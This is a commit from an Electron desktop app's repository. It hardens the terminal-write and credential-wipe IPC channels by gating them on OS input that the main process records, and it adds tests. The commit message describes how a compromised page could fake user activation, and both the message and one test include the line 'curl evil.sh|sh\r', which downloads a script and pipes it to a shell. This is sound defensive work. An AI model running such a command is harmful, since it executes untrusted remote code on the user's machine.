Skip to content

Commit a99223d

Browse files
waleedlatif1waleedlatif1
committed
fix(desktop): gate terminal writes and user activation on real OS input
The `needsUserActivation` gate asked the renderer about `navigator.userActivation` via `frame.executeJavaScript`, which evaluates in the page's main world — the same world as the compromised page the gate exists to stop, which need only redefine `navigator.userActivation` to pass it. The channels with no native confirmation behind them (`browser-credentials:forget`, `forget-all`, `browser-agent:clear-browsing-data`) had that as their only protection, so a background script could wipe the saved-password vault. `terminal:write` had no second gate at all. It is a `send` channel, and the send branch ran only the origin and feature checks, so an XSS'd or hostile app origin reached arbitrary command execution: `terminal:start` for an id, then `write(id, 'curl evil.sh|sh\r')` — a raw PTY write submits on the trailing `\r`. The tool-authorization binding covers `terminal:execute-tool` only. Both now answer from the main process's own record of OS input. Chromium delivers every input event to main before the renderer sees it and page script cannot synthesize one, so unlike panel focus (`terminal:focused`, a renderer-asserted claim the same attacker can set) it is a real boundary. Passive pointer traffic is excluded — `mouseMove`/`mouseEnter`/`pointerMove` arrive whenever the cursor rests over the window.
1 parent 9edf892 commit a99223d

5 files changed

Lines changed: 320 additions & 38 deletions

File tree

‎apps/desktop/src/main/input-activity.test.ts‎

Lines changed: 112 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
/**
2+
* @vitest-environment node
3+
*/
4+
import type { WebContents } from 'electron'
5+
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
6+
import {
7+
hasRecentDeliberateInput,
8+
hasRecentDiscreteInput,
9+
trackInputActivity,
10+
} from '@/main/input-activity'
11+
12+
type InputListener = (event: unknown, input: { type: string }) => void
13+
14+
function fakeContents(destroyed = false) {
15+
const listeners: InputListener[] = []
16+
const contents = {
17+
isDestroyed: () => destroyed,
18+
on: (channel: string, listener: InputListener) => {
19+
if (channel === 'input-event') listeners.push(listener)
20+
},
21+
}
22+
trackInputActivity(contents as unknown as WebContents)
23+
return {
24+
contents: contents as unknown as WebContents,
25+
send: (type: string) => {
26+
for (const listener of listeners) listener({}, { type })
27+
},
28+
}
29+
}
30+
31+
describe('input activity', () => {
32+
beforeEach(() => {
33+
vi.useFakeTimers()
34+
})
35+
36+
afterEach(() => {
37+
vi.useRealTimers()
38+
})
39+
40+
it('reports no input for a renderer that has never been touched', () => {
41+
const { contents } = fakeContents()
42+
43+
expect(hasRecentDeliberateInput(contents)).toBe(false)
44+
expect(hasRecentDiscreteInput(contents)).toBe(false)
45+
})
46+
47+
it('counts a keypress as both deliberate and discrete input', () => {
48+
const { contents, send } = fakeContents()
49+
50+
send('keyDown')
51+
52+
expect(hasRecentDeliberateInput(contents)).toBe(true)
53+
expect(hasRecentDiscreteInput(contents)).toBe(true)
54+
})
55+
56+
it('ignores the passive pointer stream a page gets for free', () => {
57+
const { contents, send } = fakeContents()
58+
59+
for (const type of ['mouseMove', 'mouseEnter', 'mouseLeave', 'pointerMove']) send(type)
60+
61+
expect(hasRecentDeliberateInput(contents)).toBe(false)
62+
expect(hasRecentDiscreteInput(contents)).toBe(false)
63+
})
64+
65+
it('treats a wheel as deliberate but not as a discrete act', () => {
66+
const { contents, send } = fakeContents()
67+
68+
send('mouseWheel')
69+
70+
expect(hasRecentDeliberateInput(contents)).toBe(true)
71+
expect(hasRecentDiscreteInput(contents)).toBe(false)
72+
})
73+
74+
it('expires deliberate input after its window', () => {
75+
const { contents, send } = fakeContents()
76+
77+
send('keyDown')
78+
vi.advanceTimersByTime(3_000)
79+
80+
expect(hasRecentDeliberateInput(contents)).toBe(false)
81+
})
82+
83+
it('expires a discrete act after its longer window', () => {
84+
const { contents, send } = fakeContents()
85+
86+
send('mouseDown')
87+
vi.advanceTimersByTime(4_000)
88+
expect(hasRecentDiscreteInput(contents)).toBe(true)
89+
90+
vi.advanceTimersByTime(1_000)
91+
expect(hasRecentDiscreteInput(contents)).toBe(false)
92+
})
93+
94+
it('never reports input for a destroyed renderer', () => {
95+
const { contents, send } = fakeContents(true)
96+
97+
send('keyDown')
98+
99+
expect(hasRecentDeliberateInput(contents)).toBe(false)
100+
expect(hasRecentDiscreteInput(contents)).toBe(false)
101+
})
102+
103+
it('keeps activity separate per renderer', () => {
104+
const first = fakeContents()
105+
const second = fakeContents()
106+
107+
first.send('keyDown')
108+
109+
expect(hasRecentDeliberateInput(first.contents)).toBe(true)
110+
expect(hasRecentDeliberateInput(second.contents)).toBe(false)
111+
})
112+
})

‎apps/desktop/src/main/input-activity.ts‎

Lines changed: 108 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,108 @@
1+
import type { InputEvent, WebContents } from 'electron'
2+
3+
/**
4+
* Input Chromium delivers only because the user did something deliberate.
5+
*
6+
* `mouseMove`, `mouseEnter`, `mouseLeave`, `pointerMove` and `pointerRawUpdate`
7+
* are excluded on purpose: they arrive continuously while the cursor merely
8+
* rests over the window, so counting them as intent would hand every page a
9+
* permanently-satisfied gate.
10+
*/
11+
const DELIBERATE_INPUT_TYPES: ReadonlySet<InputEvent['type']> = new Set([
12+
'keyDown',
13+
'rawKeyDown',
14+
'keyUp',
15+
'char',
16+
'mouseDown',
17+
'mouseUp',
18+
'mouseWheel',
19+
'touchStart',
20+
'touchEnd',
21+
'gestureTap',
22+
])
23+
24+
/**
25+
* The subset that is one discrete act — a keypress or a click. Wheel and
26+
* key-up are dropped here: an irreversible operation should follow something
27+
* the user can point at having done, not an inertial scroll.
28+
*/
29+
const DISCRETE_INPUT_TYPES: ReadonlySet<InputEvent['type']> = new Set([
30+
'keyDown',
31+
'rawKeyDown',
32+
'char',
33+
'mouseDown',
34+
'mouseUp',
35+
'touchEnd',
36+
'gestureTap',
37+
])
38+
39+
/**
40+
* Typing and scrolling produce input continuously, so a keystroke-driven
41+
* terminal write always lands well inside this.
42+
*/
43+
const DELIBERATE_INPUT_WINDOW_MS = 3_000
44+
45+
/**
46+
* Matches the lifetime of Chromium's transient user activation, which is what
47+
* the renderer-reported check this replaces was approximating.
48+
*/
49+
const DISCRETE_INPUT_WINDOW_MS = 5_000
50+
51+
interface InputActivity {
52+
lastDeliberateAt: number
53+
lastDiscreteAt: number
54+
}
55+
56+
const activityByContents = new WeakMap<WebContents, InputActivity>()
57+
58+
/**
59+
* Records real OS input for `contents`.
60+
*
61+
* Chromium hands the main process every input event before the renderer sees
62+
* it, and page script cannot synthesize one — which is the whole point. The
63+
* gate this feeds used to ask the renderer about `navigator.userActivation`, a
64+
* value evaluated in the page's own world that a compromised page redefines in
65+
* one line. Anything derived from renderer-reported state is not a boundary;
66+
* this is, because the signal never passes through the renderer at all.
67+
*/
68+
export function trackInputActivity(contents: WebContents): void {
69+
contents.on('input-event', (_event, input) => {
70+
if (!DELIBERATE_INPUT_TYPES.has(input.type)) return
71+
const now = Date.now()
72+
const discrete = DISCRETE_INPUT_TYPES.has(input.type)
73+
const activity = activityByContents.get(contents)
74+
if (!activity) {
75+
activityByContents.set(contents, {
76+
lastDeliberateAt: now,
77+
lastDiscreteAt: discrete ? now : 0,
78+
})
79+
return
80+
}
81+
activity.lastDeliberateAt = now
82+
if (discrete) activity.lastDiscreteAt = now
83+
})
84+
}
85+
86+
/**
87+
* Whether the user has recently driven this renderer with real input —
88+
* keystrokes, clicks or wheel. Gates the interactive terminal write path,
89+
* where the legitimate caller is a person typing into xterm.js.
90+
*/
91+
export function hasRecentDeliberateInput(contents: WebContents): boolean {
92+
if (contents.isDestroyed()) return false
93+
const activity = activityByContents.get(contents)
94+
if (!activity) return false
95+
return Date.now() - activity.lastDeliberateAt < DELIBERATE_INPUT_WINDOW_MS
96+
}
97+
98+
/**
99+
* Whether the user recently performed one discrete act in this renderer.
100+
* Gates the operations with no native confirmation behind them, where the
101+
* requirement is an actual click or keypress rather than mere activity.
102+
*/
103+
export function hasRecentDiscreteInput(contents: WebContents): boolean {
104+
if (contents.isDestroyed()) return false
105+
const activity = activityByContents.get(contents)
106+
if (!activity) return false
107+
return Date.now() - activity.lastDiscreteAt < DISCRETE_INPUT_WINDOW_MS
108+
}

‎apps/desktop/src/main/ipc.test.ts‎

Lines changed: 64 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -58,6 +58,7 @@ vi.mock('@/main/browser-agent/registry', () => ({
5858
),
5959
}))
6060

61+
import type { WebContents } from 'electron'
6162
import { ipcMain, shell } from 'electron'
6263
import {
6364
copyCredential,
@@ -72,20 +73,27 @@ import {
7273
importChromePasswords,
7374
listChromeImportProfiles,
7475
} from '@/main/browser-import'
76+
import { trackInputActivity } from '@/main/input-activity'
7577
import { type IpcDeps, registerIpcHandlers } from '@/main/ipc'
7678
import { LocalFilesystemService } from '@/main/local-filesystem'
7779
import { TerminalService } from '@/main/terminal'
7880

7981
const APP = 'https://sim.ai'
8082

83+
type InputListener = (event: unknown, input: { type: string }) => void
84+
85+
interface FakeSender {
86+
session?: { fetch: (url: string, init?: RequestInit) => Promise<Response> }
87+
/** Marks a sender the mocked registry recognises as a browser tab. */
88+
isBrowserTab?: boolean
89+
isDestroyed?: () => boolean
90+
on?: (channel: string, listener: InputListener) => void
91+
}
92+
8193
type Handler = (
8294
event: {
8395
senderFrame: { url: string; executeJavaScript?: (source: string) => Promise<unknown> } | null
84-
sender?: {
85-
session?: { fetch: (url: string, init?: RequestInit) => Promise<Response> }
86-
/** Marks a sender the mocked registry recognises as a browser tab. */
87-
isBrowserTab?: boolean
88-
}
96+
sender?: FakeSender
8997
},
9098
...args: unknown[]
9199
) => unknown
@@ -102,48 +110,68 @@ function collectHandlers() {
102110
return { invoke, on }
103111
}
104112

105-
const rejectedSender = () => ({
106-
session: {
107-
fetch: vi.fn(async () => {
108-
throw new Error('not authorized')
109-
}),
110-
},
111-
})
113+
/**
114+
* A sender registered with the main-process input tracker, so a test can grant
115+
* it a real gesture with `press`. User activation is no longer read out of the
116+
* renderer, so a fixture cannot fake it by stubbing `executeJavaScript`.
117+
*/
118+
function trackedSender() {
119+
const listeners: InputListener[] = []
120+
const sender = {
121+
session: {
122+
fetch: vi.fn(async () => {
123+
throw new Error('not authorized')
124+
}),
125+
},
126+
isDestroyed: () => false,
127+
on: (channel: string, listener: InputListener) => {
128+
if (channel === 'input-event') listeners.push(listener)
129+
},
130+
}
131+
trackInputActivity(sender as unknown as WebContents)
132+
return {
133+
sender,
134+
/** Delivers one real click, satisfying both input-recency gates. */
135+
press: () => {
136+
for (const listener of listeners) listener({}, { type: 'mouseDown' })
137+
},
138+
}
139+
}
140+
141+
const rejectedSender = () => trackedSender().sender
112142
const fileSender = rejectedSender()
113143
const appSender = rejectedSender()
114144
const evilSender = rejectedSender()
145+
const activeSender = trackedSender()
146+
const activeChooserSender = trackedSender()
115147
const fileEvent = {
116148
senderFrame: { url: 'file:///app/static/offline.html' },
117149
sender: fileSender,
118150
}
119151
const appEvent = { senderFrame: { url: `${APP}/workspace/ws1` }, sender: appSender }
120152
const activeAppEvent = {
121-
senderFrame: {
122-
url: `${APP}/workspace/ws1`,
123-
executeJavaScript: vi.fn(async () => true),
124-
},
153+
senderFrame: { url: `${APP}/workspace/ws1` },
154+
sender: activeSender.sender,
125155
}
156+
/** Same origin, but the main process has never seen this renderer get input. */
126157
const inactiveAppEvent = {
127-
senderFrame: {
128-
url: `${APP}/workspace/ws1`,
129-
executeJavaScript: vi.fn(async () => false),
130-
},
158+
senderFrame: { url: `${APP}/workspace/ws1` },
159+
sender: rejectedSender(),
131160
}
132161
const evilEvent = { senderFrame: { url: 'https://evil.example/page' }, sender: evilSender }
133162
/** The chooser anchors a native menu, so it needs a sender with a window. */
134163
const FAKE_WINDOW = { id: 'main-window' }
135164
const activeChooserEvent = {
136-
senderFrame: {
137-
url: `${APP}/workspace/ws1`,
138-
executeJavaScript: vi.fn(async () => true),
139-
},
140-
sender: appSender,
165+
senderFrame: { url: `${APP}/workspace/ws1` },
166+
sender: activeChooserSender.sender,
141167
}
142168

143169
describe('registerIpcHandlers', () => {
144170
let deps: IpcDeps
145171

146172
beforeEach(() => {
173+
activeSender.press()
174+
activeChooserSender.press()
147175
vi.mocked(ipcMain.handle).mockClear()
148176
vi.mocked(ipcMain.on).mockClear()
149177
vi.mocked(shell.openExternal).mockClear()
@@ -780,6 +808,17 @@ describe('registerIpcHandlers', () => {
780808
expect(forgetCredential).toHaveBeenCalledWith('c1')
781809
})
782810

811+
it('accepts a terminal write only after the main process has seen real input', () => {
812+
const { on } = collectHandlers()
813+
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
814+
815+
on.get('terminal:write')?.(inactiveAppEvent, 't1', 'curl evil.sh|sh\r')
816+
expect(write).not.toHaveBeenCalled()
817+
818+
on.get('terminal:write')?.(activeAppEvent, 't1', 'ls\r')
819+
expect(write).toHaveBeenCalledWith('t1', 'ls\r')
820+
})
821+
783822
it('defaults password conflicts to keeping what is already stored', async () => {
784823
const { invoke } = collectHandlers()
785824

0 commit comments

Comments
 (0)